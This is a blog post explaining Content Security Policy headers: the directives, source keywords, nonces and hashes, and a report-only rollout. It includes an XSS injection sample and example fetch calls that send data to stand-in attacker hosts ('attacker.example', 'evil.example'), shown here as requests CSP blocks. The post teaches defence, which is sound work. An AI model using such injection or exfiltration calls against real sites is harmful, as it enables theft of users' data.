Skip to content

Content Security Policy for People Who Keep Breaking It

Sep 2, 2026 · Web Development

A Content Security Policy is an allowlist, sent as an HTTP response header, that tells the browser exactly which sources a page is permitted to load code and other resources from — and the browser blocks everything else. Its main purpose is to contain cross-site scripting: even if an attacker manages to inject a <script> into your page, a good CSP means the browser refuses to run it or refuses to let it phone home. CSP has a reputation for breaking sites, but that reputation is mostly a misunderstanding of a few directives. Once you know what each one governs, the breakage becomes predictable and the fixes become obvious.

What is CSP and how is it delivered?

CSP is a single HTTP header — Content-Security-Policy — whose value is a list of directives separated by semicolons. Each directive names a resource type and the sources allowed for it:

Content-Security-Policy: default-src 'self'; script-src 'self'; connect-src 'self'

The browser reads this on every page load and enforces it for the life of the page. There is no server round-trip per resource; the rules travel with the response and the browser is the enforcer. You can also deliver CSP in a <meta http-equiv="Content-Security-Policy"> tag, though the header form is preferred because it can cover responses that are not HTML and supports reporting.

The key mental model: CSP is deny by default within each directive you specify. If you list script-src 'self', then scripts may load only from your own origin and nothing else — no CDN, no inline block — until you explicitly add those sources.

Which directives matter most?

You do not need all of them to start. A handful carry most of the weight:

Directive Controls
default-src The fallback for any resource type you did not name explicitly
script-src Where JavaScript may load from; whether inline script runs
style-src Where CSS may load from; whether inline styles apply
img-src Where images may load from
connect-src Destinations for fetch, XHR, WebSocket, EventSource, sendBeacon
font-src Where web fonts may load from
frame-src What may be embedded in frames
base-uri What the page <base> element may set (prevents URL hijacking)

default-src is the catch-all: any fetch type without its own directive falls back to it. So default-src 'self' is a sensible floor, and then you tighten or loosen individual types on top. Note that not every directive falls back to default-src — some, like base-uri and form-action, must be set explicitly.

What do the common source values mean?

Sources can be origins (https://example.com), schemes (https:), wildcards (*.example.com), or special keywords in single quotes:

Value Meaning
'self' The page own origin: same scheme, host, and port
'none' Nothing at all is allowed for this directive
'unsafe-inline' Allow inline scripts, styles, and event-handler attributes
'unsafe-eval' Allow eval and similar string-to-code functions
'nonce-abc123' Allow one inline block that carries a matching nonce attribute
'sha256-...' Allow one inline block whose hash matches

The word “unsafe” in 'unsafe-inline' and 'unsafe-eval' is not decoration — those two keywords give back most of the ground CSP was meant to hold, so they deserve a hard look before you add them.

Why do inline scripts break under CSP?

Because the browser cannot distinguish the inline script you wrote from an inline script an attacker injected, so a policy without 'unsafe-inline' blocks all of them. That is the entire point. The most common way XSS executes is by injecting a <script>alert(1)</script> or an onclick="..." attribute directly into the HTML. If your script-src only allows external files from 'self', every inline block is refused — including the malicious one.

The cost is that your own inline code stops running too:

<!-- All of these are blocked by script-src 'self' -->
<script>doThing();</script>
<button onclick="doThing()">Go</button>
<a href="javascript:doThing()">Go</a>

There are three good fixes, in order of preference:

  1. Externalize. Move the code into a .js file served from your origin and attach handlers with addEventListener. This is cleanest and needs no CSP exception.
  2. Nonce. Put a random, per-response nonce attribute on the specific inline block and list 'nonce-...' in script-src. Only that block runs; injected blocks lack the nonce.
  3. Hash. Compute the SHA hash of the exact inline content and list it. Good for static inline snippets that never change.

Reaching for 'unsafe-inline' “to make it work” defeats the protection: an injected script is inline too, so allowing all inline script re-opens the exact door CSP was closing. A nonce or hash lets your code run while still blocking the attacker’s.

How does connect-src block exfiltration?

connect-src restricts where the page may open network connections — fetch, XMLHttpRequest, WebSocket, EventSource, and navigator.sendBeacon — so an injected script cannot ship stolen data to a server you did not authorize. This is the second half of CSP defense. Blocking script execution stops most attacks, but suppose a script does run: what it wants next is to send cookies, tokens, or form input somewhere it controls. If your policy says connect-src 'self', the browser refuses any fetch('https://attacker.example/steal', ...) because that origin is not on the list.

// Page policy: connect-src 'self'
fetch('/api/save', {method:'POST', body: data})          // allowed
fetch('https://evil.example/collect', {method:'POST'})   // BLOCKED by CSP

For the same reason a strict connect-src is one of the more valuable directives even on a mostly-static site. QuikConsole is a concrete example: its tools run entirely in your browser and never need to talk to a third-party server, so its policy uses connect-src 'self'. That single directive means that even if something were injected into a tool page, the browser would refuse to let it transmit whatever you had pasted in to an outside address — the data has nowhere to go. It is worth keeping this in mind generally: client-side tools with a tight connect-src are a much safer place to handle a token or a config file than a page that is free to POST anywhere.

How do I roll out a policy without breaking the site?

Start in report-only mode. The header Content-Security-Policy-Report-Only applies the policy but blocks nothing — it only records what would have been blocked, either to the browser console or to a reporting endpoint you name. Ship your intended policy in report-only, exercise the whole site, collect the violations, add the legitimate sources you actually use, and only then switch to the enforcing header. This turns a scary all-at-once change into a checklist.

A sensible starting policy for many sites looks like this, then loosens per-directive as report-only reveals real needs:

Content-Security-Policy:
  default-src 'self';
  script-src 'self';
  style-src 'self';
  img-src 'self' data:;
  connect-src 'self';
  base-uri 'self';
  frame-ancestors 'none'

One thing CSP does not govern is where an HTTP redirect ultimately sends the browser — that is a server and navigation concern, and a redirect chain that lands on an unexpected host is its own class of bug. When you are hardening a site it is worth tracing your redirects end to end with a redirect tester so you know the final destination and scheme, then making sure your CSP directives and any allowed origins match where requests genuinely resolve. The two checks are complementary: CSP controls what a page may load and connect to, and redirect tracing tells you what a link actually resolves to.

The short version

  • CSP is an allowlist header; the browser blocks anything not listed.
  • default-src is the fallback; set script-src and connect-src deliberately.
  • 'self' means your own origin; 'unsafe-inline' and 'unsafe-eval' give back most of the protection.
  • Inline scripts break because the browser cannot tell yours from an attacker’s — externalize, or use a nonce or hash.
  • connect-src caps where data can be sent, which is what stops exfiltration.
  • Roll out with Content-Security-Policy-Report-Only first, fix the violations, then enforce.

CSP breaks things because it is doing its job: refusing code and connections you did not vouch for. Treat every violation as the policy telling you about a source you forgot to declare, authorize it the safe way, and the header stops being an enemy and becomes the cheapest layer of defense you can add.

Frequently asked questions

What does a Content Security Policy actually do?

CSP is an allowlist delivered in an HTTP header that tells the browser which sources a page may load scripts, styles, images, fonts, and connections from. Anything not on the list is blocked, which limits the damage of an injected script.

Why do my inline scripts stop working under CSP?

A script-src that does not include unsafe-inline blocks all inline script and event-handler attributes, because the browser cannot tell your inline code from injected code. Move the code to an external file, or authorize it with a nonce or hash.

What is the difference between self and unsafe-inline?

self allows resources from the page own origin (same scheme, host, and port). unsafe-inline allows inline scripts and styles regardless of origin, which removes much of CSP protection against injection.

How does connect-src stop data exfiltration?

connect-src restricts the destinations of fetch, XMLHttpRequest, WebSocket, and similar APIs. If an injected script tries to POST stolen data to an attacker server not on the connect-src list, the browser blocks the request.

Should I use Content-Security-Policy-Report-Only first?

Yes. Report-Only applies the policy without blocking anything and reports what would have been blocked, so you can find every violation before a strict policy breaks your live site.